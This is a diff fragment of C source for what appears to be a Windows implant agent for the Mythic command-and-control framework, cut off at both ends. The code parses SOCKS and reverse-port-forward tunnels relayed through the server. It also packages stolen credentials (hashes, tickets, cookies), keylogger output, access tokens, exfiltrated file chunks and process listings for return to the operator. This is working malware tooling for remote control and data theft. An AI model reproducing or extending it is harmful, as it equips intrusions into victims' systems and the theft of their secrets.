_dbg("¡Marcador 0xF5 encontrado en offset %zu!", cursor);
|
||||
|
||||
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||
_dbg("Bloque SOCKS: ext_len=%u", ext_len);
|
||||
|
||||
if (cursor + 5 + ext_len > len) {
|
||||
_err("bloque SOCKS truncado");
|
||||
break;
|
||||
}
|
||||
|
||||
SIZE_T ecur = cursor + 5;
|
||||
SIZE_T eend = cursor + 5 + ext_len;
|
||||
while (ecur + 9 <= eend) {
|
||||
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
|
||||
BYTE exitf = buf[ecur+4];
|
||||
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
|
||||
ecur += 9;
|
||||
|
||||
if (ecur + b64len > eend) break;
|
||||
|
||||
unsigned char *raw = NULL;
|
||||
size_t raw_len = 0;
|
||||
char *b64str_socks = NULL;
|
||||
|
||||
if (b64len > 0) {
|
||||
b64str_socks = (char*)LocalAlloc(LPTR, b64len + 1);
|
||||
if (b64str_socks) {
|
||||
memcpy(b64str_socks, buf + ecur, b64len);
|
||||
b64str_socks[b64len] = '\0';
|
||||
_dbg("Decodificando base64 SOCKS: %s", b64str_socks);
|
||||
base64_decode(b64str_socks, &raw, &raw_len);
|
||||
_dbg("Base64 SOCKS decodificado: %zu bytes", raw_len);
|
||||
LocalFree(b64str_socks);
|
||||
}
|
||||
}
|
||||
|
||||
_dbg("Procesando SOCKS incoming: sid=%u exit=%u len=%zu", sid, exitf, raw_len);
|
||||
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
|
||||
|
||||
if (raw) LocalFree(raw);
|
||||
ecur += b64len;
|
||||
}
|
||||
|
||||
// Remover bloque SOCKS del analizador
|
||||
respuesta->tamano = cursor;
|
||||
_dbg("Bloque SOCKS procesado, tamaño ajustado a %zu", cursor);
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
cursor--;
|
||||
}
|
||||
|
||||
if (!found) {
|
||||
_dbg("No se encontró bloque SOCKS");
|
||||
}
|
||||
|
||||
// Buscar bloque RPFWD (similar a SOCKS pero con puerto)
|
||||
cursor = len - 5;
|
||||
found = FALSE;
|
||||
_dbg("Buscando bloque RPFWD (marker 0xF2) en %zu bytes decodificados", len);
|
||||
|
||||
while (cursor > 0 && cursor < len - 4) {
|
||||
if (buf[cursor] == (BYTE)RPFWD_BLOCK_MARKER) {
|
||||
_dbg("¡Marcador 0xF2 (RPFWD) encontrado en offset %zu!", cursor);
|
||||
|
||||
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
|
||||
_dbg("Bloque RPFWD: ext_len=%u", ext_len);
|
||||
|
||||
if (cursor + 5 + ext_len > len) {
|
||||
_err("bloque RPFWD truncado");
|
||||
break;
|
||||
}
|
||||
|
||||
SIZE_T ecur = cursor + 5;
|
||||
SIZE_T eend = cursor + 5 + ext_len;
|
||||
while (ecur + 13 <= eend) { // 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13
|
||||
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
|
||||
BYTE exitf = buf[ecur+4];
|
||||
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
|
||||
UINT32 port = (buf[ecur+9] << 24) | (buf[ecur+10] << 16) | (buf[ecur+11] << 8) | buf[ecur+12];
|
||||
ecur += 13;
|
||||
|
||||
if (ecur + b64len > eend) break;
|
||||
|
||||
unsigned char *raw = NULL;
|
||||
size_t raw_len = 0;
|
||||
char *b64str_rpfwd = NULL;
|
||||
|
||||
if (b64len > 0) {
|
||||
b64str_rpfwd = (char*)LocalAlloc(LPTR, b64len + 1);
|
||||
if (b64str_rpfwd) {
|
||||
memcpy(b64str_rpfwd, buf + ecur, b64len);
|
||||
b64str_rpfwd[b64len] = '\0';
|
||||
_dbg("Decodificando base64 RPFWD: %s", b64str_rpfwd);
|
||||
base64_decode(b64str_rpfwd, &raw, &raw_len);
|
||||
_dbg("Base64 RPFWD decodificado: %zu bytes", raw_len);
|
||||
LocalFree(b64str_rpfwd);
|
||||
}
|
||||
}
|
||||
|
||||
_dbg("Procesando RPFWD incoming: sid=%u exit=%u len=%zu port=%u", sid, exitf, raw_len, port);
|
||||
rpfwd_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len, port);
|
||||
|
||||
if (raw) LocalFree(raw);
|
||||
ecur += b64len;
|
||||
}
|
||||
|
||||
// Remover bloque RPFWD del analizador
|
||||
respuesta->tamano = cursor;
|
||||
_dbg("Bloque RPFWD procesado, tamaño ajustado a %zu", cursor);
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
cursor--;
|
||||
}
|
||||
|
||||
if (!found) {
|
||||
_dbg("No se encontró bloque RPFWD");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
_err("fallo al decodificar base64");
|
||||
}
|
||||
LocalFree(base64str);
|
||||
}
|
||||
}
|
||||
|
||||
return respuesta;
|
||||
}
|
||||
|
||||
/* === Funciones auxiliares === */
|
||||
BOOL addByte(PPaquete paquete, BYTE byte) {
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
|
||||
paquete->length += 1;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addInt32(PPaquete paquete, UINT32 valor) {
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||
paquete->length += sizeof(UINT32);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
// Write at the end of the buffer (paquete->length offset)
|
||||
addInt64ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||
paquete->length += sizeof(UINT64);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
|
||||
if (tamanoCopia && tamano) {
|
||||
if (!addInt32(paquete, tamano)) {
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
if (tamano) {
|
||||
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!paquete->buffer) {
|
||||
return FALSE;
|
||||
}
|
||||
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
|
||||
paquete->length += tamano;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
|
||||
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
|
||||
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1;
|
||||
va_end(args);
|
||||
|
||||
char* tempBuffer = (char*)malloc(requiredLength);
|
||||
if (!tempBuffer) return FALSE;
|
||||
|
||||
va_start(args, fmt);
|
||||
vsnprintf(tempBuffer, requiredLength, fmt, args);
|
||||
va_end(args);
|
||||
|
||||
if (!addString(package, tempBuffer, copySize)) {
|
||||
free(tempBuffer);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
free(tempBuffer);
|
||||
return TRUE;
|
||||
}
|
||||
// Sends SUCCESS post_response to server for individual task (similar to Xenon's PackageComplete)
|
||||
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales) {
|
||||
// Initialize post_response package
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, taskUuid, FALSE);
|
||||
|
||||
if (datosOpcionales != NULL && datosOpcionales->buffer != NULL && datosOpcionales->length > 0) {
|
||||
// Use data from package
|
||||
addBytes(respuesta, (PBYTE)datosOpcionales->buffer, datosOpcionales->length, TRUE);
|
||||
} else {
|
||||
// If no data, add empty output
|
||||
addInt32(respuesta, 0);
|
||||
}
|
||||
|
||||
// Success response - add TASK_COMPLETE byte
|
||||
addByte(respuesta, TASK_COMPLETE);
|
||||
|
||||
// Send
|
||||
Analizador* resp = mandarPaquete(respuesta);
|
||||
|
||||
// Cleanup
|
||||
liberarPaquete(respuesta);
|
||||
if (resp) liberarAnalizador(resp);
|
||||
}
|
||||
|
||||
// Helper function to add artifacts to response packages
|
||||
// Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value]
|
||||
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value) {
|
||||
if (!paquete || !artifact_type || !artifact_value) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Artifact marker
|
||||
addByte(paquete, 0xFF);
|
||||
|
||||
// Artifact type length and value
|
||||
SIZE_T type_len = strlen(artifact_type);
|
||||
addInt32(paquete, (UINT32)type_len);
|
||||
addString(paquete, artifact_type, FALSE);
|
||||
|
||||
// Artifact value length and value
|
||||
SIZE_T value_len = strlen(artifact_value);
|
||||
addInt32(paquete, (UINT32)value_len);
|
||||
addString(paquete, artifact_value, FALSE);
|
||||
}
|
||||
|
||||
// Helper function to add credentials to response packages
|
||||
// Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
|
||||
// credential_type must be one of: plaintext, certificate, hash, key, ticket, cookie
|
||||
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account) {
|
||||
if (!paquete || !credential_type || !credential || !account) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Credential marker (0xFE, different from artifact marker 0xFF)
|
||||
addByte(paquete, 0xFE);
|
||||
|
||||
// Credential type length and value
|
||||
SIZE_T type_len = strlen(credential_type);
|
||||
addInt32(paquete, (UINT32)type_len);
|
||||
addString(paquete, credential_type, FALSE);
|
||||
|
||||
// Realm (can be empty string, but must be included)
|
||||
// Handle NULL realm parameter by using empty string
|
||||
PCHAR realmToAdd = (realm && realm[0] != '\0') ? realm : "";
|
||||
SIZE_T realm_len = strlen(realmToAdd);
|
||||
addInt32(paquete, (UINT32)realm_len);
|
||||
if (realm_len > 0) {
|
||||
addString(paquete, realmToAdd, FALSE);
|
||||
}
|
||||
|
||||
// Credential length and value
|
||||
SIZE_T cred_len = strlen(credential);
|
||||
addInt32(paquete, (UINT32)cred_len);
|
||||
addString(paquete, credential, FALSE);
|
||||
|
||||
// Account length and value
|
||||
SIZE_T account_len = strlen(account);
|
||||
addInt32(paquete, (UINT32)account_len);
|
||||
addString(paquete, account, FALSE);
|
||||
}
|
||||
|
||||
/* Download registration: adds download registration marker and data to response package */
|
||||
/* Format: [0xFD marker][action:1=0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
|
||||
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size) {
|
||||
if (!paquete || !full_path) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Download registration marker (0xFD)
|
||||
addByte(paquete, 0xFD);
|
||||
|
||||
// Action: 0 = registration
|
||||
addByte(paquete, 0);
|
||||
|
||||
// Full path length and value
|
||||
SIZE_T path_len = strlen(full_path);
|
||||
addInt32(paquete, (UINT32)path_len);
|
||||
addString(paquete, full_path, FALSE);
|
||||
|
||||
// Total chunks (can be -1 if unknown)
|
||||
addInt32(paquete, total_chunks);
|
||||
|
||||
// Chunk size
|
||||
addInt32(paquete, chunk_size);
|
||||
}
|
||||
|
||||
/* Download chunk: adds download chunk marker and data to response package */
|
||||
/* Format: [0xFC marker][action:1=1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
|
||||
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len) {
|
||||
if (!paquete || !file_id || !chunk_data || chunk_data_len == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Download chunk marker (0xFC)
|
||||
addByte(paquete, 0xFC);
|
||||
|
||||
// Action: 1 = chunk
|
||||
addByte(paquete, 1);
|
||||
|
||||
// File ID length and value
|
||||
SIZE_T file_id_len = strlen(file_id);
|
||||
addInt32(paquete, (UINT32)file_id_len);
|
||||
addString(paquete, file_id, FALSE);
|
||||
|
||||
// Chunk number (1-based)
|
||||
addInt32(paquete, chunk_num);
|
||||
|
||||
// Encode chunk data to base64
|
||||
char* chunk_data_b64 = b64Codificado(chunk_data, chunk_data_len);
|
||||
if (!chunk_data_b64) {
|
||||
_err("[download] Error encoding chunk data to base64\n");
|
||||
return;
|
||||
}
|
||||
|
||||
SIZE_T chunk_b64_len = strlen(chunk_data_b64);
|
||||
addInt32(paquete, (UINT32)chunk_b64_len);
|
||||
addString(paquete, chunk_data_b64, FALSE);
|
||||
|
||||
LocalFree(chunk_data_b64);
|
||||
}
|
||||
|
||||
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path) {
|
||||
if (!paquete || !file_id) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Upload request marker (0xF8)
|
||||
addByte(paquete, 0xF8);
|
||||
|
||||
// File ID length and value
|
||||
SIZE_T file_id_len = strlen(file_id);
|
||||
addInt32(paquete, (UINT32)file_id_len);
|
||||
addString(paquete, file_id, FALSE);
|
||||
|
||||
// Chunk size
|
||||
addInt32(paquete, chunk_size);
|
||||
|
||||
// Chunk number (1-based)
|
||||
addInt32(paquete, chunk_num);
|
||||
|
||||
// Full path length and value (optional, can be empty string)
|
||||
if (!full_path) {
|
||||
full_path = "";
|
||||
}
|
||||
SIZE_T path_len = strlen(full_path);
|
||||
addInt32(paquete, (UINT32)path_len);
|
||||
if (path_len > 0) {
|
||||
addString(paquete, full_path, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
/* Commands helper: for reporting command add/remove to Mythic */
|
||||
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
|
||||
/* action must be "add" or "remove", cmd is the command name */
|
||||
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) {
|
||||
if (!paquete || !action || !cmd) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Commands marker (0xF7)
|
||||
addByte(paquete, 0xF7);
|
||||
|
||||
// Action length and value ("add" or "remove")
|
||||
SIZE_T action_len = strlen(action);
|
||||
addInt32(paquete, (UINT32)action_len);
|
||||
addString(paquete, action, FALSE);
|
||||
|
||||
// Command name length and value
|
||||
SIZE_T cmd_len = strlen(cmd);
|
||||
addInt32(paquete, (UINT32)cmd_len);
|
||||
addString(paquete, cmd, FALSE);
|
||||
}
|
||||
|
||||
// Helper function to add keylog entries to response packages
|
||||
// Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes]
|
||||
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes) {
|
||||
if (!paquete || !user || !window_title || !keystrokes) {
|
||||
return;
|
||||
}
|
||||
|
||||
addByte(paquete, 0xF6);
|
||||
|
||||
SIZE_T user_len = strlen(user);
|
||||
addInt32(paquete, (UINT32)user_len);
|
||||
addString(paquete, user, FALSE);
|
||||
|
||||
SIZE_T title_len = strlen(window_title);
|
||||
addInt32(paquete, (UINT32)title_len);
|
||||
addString(paquete, window_title, FALSE);
|
||||
|
||||
SIZE_T keys_len = strlen(keystrokes);
|
||||
addInt32(paquete, (UINT32)keys_len);
|
||||
addString(paquete, keystrokes, FALSE);
|
||||
}
|
||||
|
||||
// Helper function to add token to response packages
|
||||
// Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8]
|
||||
// All optional fields use length-prefixed strings, integers are big-endian
|
||||
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
|
||||
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
|
||||
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
|
||||
PCHAR app_container_sid, PCHAR privileges, UINT64 handle) {
|
||||
if (!paquete) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Token marker (0xF4)
|
||||
addByte(paquete, 0xF4);
|
||||
|
||||
// Required: token_id
|
||||
addInt32(paquete, token_id);
|
||||
|
||||
// Optional fields - use empty string if NULL
|
||||
#define ADD_OPT_STRING(str) do { \
|
||||
if (str) { \
|
||||
SIZE_T len = strlen(str); \
|
||||
addInt32(paquete, (UINT32)len); \
|
||||
addString(paquete, str, FALSE); \
|
||||
} else { \
|
||||
addInt32(paquete, 0); \
|
||||
} \
|
||||
} while(0)
|
||||
|
||||
ADD_OPT_STRING(host);
|
||||
ADD_OPT_STRING(description);
|
||||
ADD_OPT_STRING(user);
|
||||
ADD_OPT_STRING(groups);
|
||||
|
||||
addInt32(paquete, thread_id);
|
||||
addInt32(paquete, process_id);
|
||||
|
||||
ADD_OPT_STRING(default_dacl);
|
||||
addInt32(paquete, session_id);
|
||||
addByte(paquete, restricted ? 1 : 0);
|
||||
|
||||
ADD_OPT_STRING(capabilities);
|
||||
ADD_OPT_STRING(logon_sid);
|
||||
addInt32(paquete, integrity_level_sid);
|
||||
addInt32(paquete, app_container_number);
|
||||
|
||||
ADD_OPT_STRING(app_container_sid);
|
||||
ADD_OPT_STRING(privileges);
|
||||
|
||||
// Handle as 8-byte integer (UINT64)
|
||||
addInt64(paquete, handle);
|
||||
}
|
||||
|
||||
// Helper function to add callback token (register/unregister token for use in tasking)
|
||||
// Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4]
|
||||
// action must be "add" or "remove"
|
||||
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id) {
|
||||
if (!paquete || !action) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Callback token marker (0xF3)
|
||||
addByte(paquete, 0xF3);
|
||||
|
||||
// Action length and value ("add" or "remove")
|
||||
SIZE_T action_len = strlen(action);
|
||||
addInt32(paquete, (UINT32)action_len);
|
||||
addString(paquete, action, FALSE);
|
||||
|
||||
// Host (optional - use empty string if NULL)
|
||||
if (host) {
|
||||
SIZE_T host_len = strlen(host);
|
||||
addInt32(paquete, (UINT32)host_len);
|
||||
addString(paquete, host, FALSE);
|
||||
} else {
|
||||
addInt32(paquete, 0);
|
||||
}
|
||||
|
||||
// Token ID
|
||||
addInt32(paquete, token_id);
|
||||
}
|
||||
|
||||
// Helper function to add callback context (cwd, impersonation_context, etc.)
|
||||
// Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
|
||||
// Can be called multiple times to add multiple fields
|
||||
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value) {
|
||||
if (!paquete || !field_name) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Callback context marker (0xF0) - Note: 0xF1 is CHECKIN action, so we use 0xF0
|
||||
// This marker indicates callback context data
|
||||
addByte(paquete, 0xF0);
|
||||
|
||||
// Field name length and value (e.g., "cwd", "impersonation_context")
|
||||
SIZE_T name_len = strlen(field_name);
|
||||
addInt32(paquete, (UINT32)name_len);
|
||||
addString(paquete, field_name, FALSE);
|
||||
|
||||
// Field value (optional - use empty string if NULL)
|
||||
if (field_value) {
|
||||
SIZE_T value_len = strlen(field_value);
|
||||
addInt32(paquete, (UINT32)value_len);
|
||||
addString(paquete, field_value, FALSE);
|
||||
} else {
|
||||
addInt32(paquete, 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef PAQUETE_H
|
||||
#define PAQUETE_H
|
||||
|
||||
#include "utils.h"
|
||||
#include "transporte.h"
|
||||
#include "analizador.h"
|
||||
#include <windows.h>
|
||||
|
||||
#define TASK_COMPLETE 0x95
|
||||
#define TASK_FAILED 0x99
|
||||
|
||||
typedef struct {
|
||||
|
||||
PVOID buffer;
|
||||
SIZE_T length;
|
||||
|
||||
}Paquete, * PPaquete;
|
||||
|
||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
|
||||
VOID liberarPaquete(PPaquete paquete);
|
||||
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales);
|
||||
PAnalizador mandarPaquete(PPaquete paquete);
|
||||
|
||||
BOOL addByte(PPaquete paquete, BYTE byte);
|
||||
BOOL addInt32(PPaquete paquete, UINT32 valor);
|
||||
BOOL addInt64(PPaquete paquete, UINT64 valor);
|
||||
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
|
||||
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
|
||||
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
|
||||
|
||||
/* Formatted append helper */
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||
|
||||
/* Artifact helper: adds artifact marker and data to response package */
|
||||
/* Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value] */
|
||||
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value);
|
||||
|
||||
/* Credential helper: adds credential marker and data to response package */
|
||||
/* Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account] */
|
||||
/* credential_type must be: plaintext, certificate, hash, key, ticket, or cookie */
|
||||
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account);
|
||||
|
||||
/* Download helpers: for file download from agent to Mythic */
|
||||
/* Format for download registration: [0xFD marker][action:1][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
|
||||
/* Format for download chunk: [0xFC marker][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
|
||||
/* action: 0 = registration, 1 = chunk */
|
||||
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size);
|
||||
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len);
|
||||
|
||||
/* Upload helpers: for file upload from Mythic to agent */
|
||||
/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */
|
||||
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path);
|
||||
|
||||
/* Commands helper: for reporting command add/remove to Mythic */
|
||||
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
|
||||
/* action must be "add" or "remove", cmd is the command name */
|
||||
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd);
|
||||
|
||||
/* Keylog helper: for reporting keystrokes to Mythic */
|
||||
/* Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] */
|
||||
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes);
|
||||
|
||||
/* Token helper: for reporting tokens to Mythic (viewable in Search -> Tokens) */
|
||||
/* Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] */
|
||||
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
|
||||
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
|
||||
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
|
||||
PCHAR app_container_sid, PCHAR privileges, UINT64 handle);
|
||||
|
||||
/* Callback token helper: for registering/unregistering tokens for use in tasking */
|
||||
/* Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] */
|
||||
/* action must be "add" or "remove" */
|
||||
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
|
||||
|
||||
/* Callback context helper: for updating callback context (cwd, impersonation_context, etc.) */
|
||||
/* Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... */
|
||||
/* Can be called multiple times to add multiple fields */
|
||||
/* Common fields: "cwd", "impersonation_context", "pid", "sleep_info", "extra_info" */
|
||||
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,126 @@
|
||||
#undef UNICODE
|
||||
#include "procesos.h"
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "identity.h"
|
||||
#include "spawn.h"
|
||||
|
||||
/* forward decls to avoid implicit warnings */
|
||||
BOOL SelfIsWindowsVistaOrLater();
|
||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||
#include <tlhelp32.h>
|
||||
#include <psapi.h>
|
||||
|
||||
// Nota: Removidas estructuras de PEB ya que no obtenemos command_line (como Xenon)
|
||||
|
||||
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
|
||||
HANDLE hToken;
|
||||
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
|
||||
|
||||
if (!result) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
|
||||
|
||||
if (!result) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Nota: Como Xenon, no obtenemos command_line para mantener simplicidad y compatibilidad
|
||||
|
||||
VOID listarProcesos(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
|
||||
char nombreCuenta[2048] = { 0 };
|
||||
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
|
||||
|
||||
char* arch;
|
||||
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
|
||||
|
||||
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (toolhelp == INVALID_HANDLE_VALUE) {
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
|
||||
if (Process32First(toolhelp, &pe)) {
|
||||
do {
|
||||
// Como Xenon: intentar abrir proceso para obtener info adicional
|
||||
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
|
||||
DWORD sid = -1;
|
||||
|
||||
// Inicializar valores por defecto
|
||||
nombreCuenta[0] = '\0';
|
||||
BOOL isWow64 = FALSE;
|
||||
|
||||
if (hProcess) {
|
||||
// Obtener información del usuario
|
||||
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
|
||||
nombreCuenta[0] = '\0';
|
||||
}
|
||||
|
||||
// Obtener Session ID
|
||||
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
|
||||
sid = -1;
|
||||
}
|
||||
|
||||
// Obtener arquitectura
|
||||
isWow64 = IsWow64ProcessEx(hProcess);
|
||||
|
||||
CloseHandle(hProcess);
|
||||
} else {
|
||||
// Si no podemos abrir el proceso, intentar obtener al menos el Session ID
|
||||
ProcessIdToSessionId(pe.th32ProcessID, &sid);
|
||||
}
|
||||
|
||||
// Formato exacto como Xenon: nombre\tPPID\tPID\tarch\tuser\tsession\n
|
||||
PackageAddFormatPrintf(salida,
|
||||
FALSE,
|
||||
"%s\t%d\t%d\t%s\t%s\t%d\n",
|
||||
pe.szExeFile,
|
||||
pe.th32ParentProcessID,
|
||||
pe.th32ProcessID,
|
||||
hProcess ? (isWow64 ? "x86" : arch) : arch, // Usar arch por defecto si no podemos abrir
|
||||
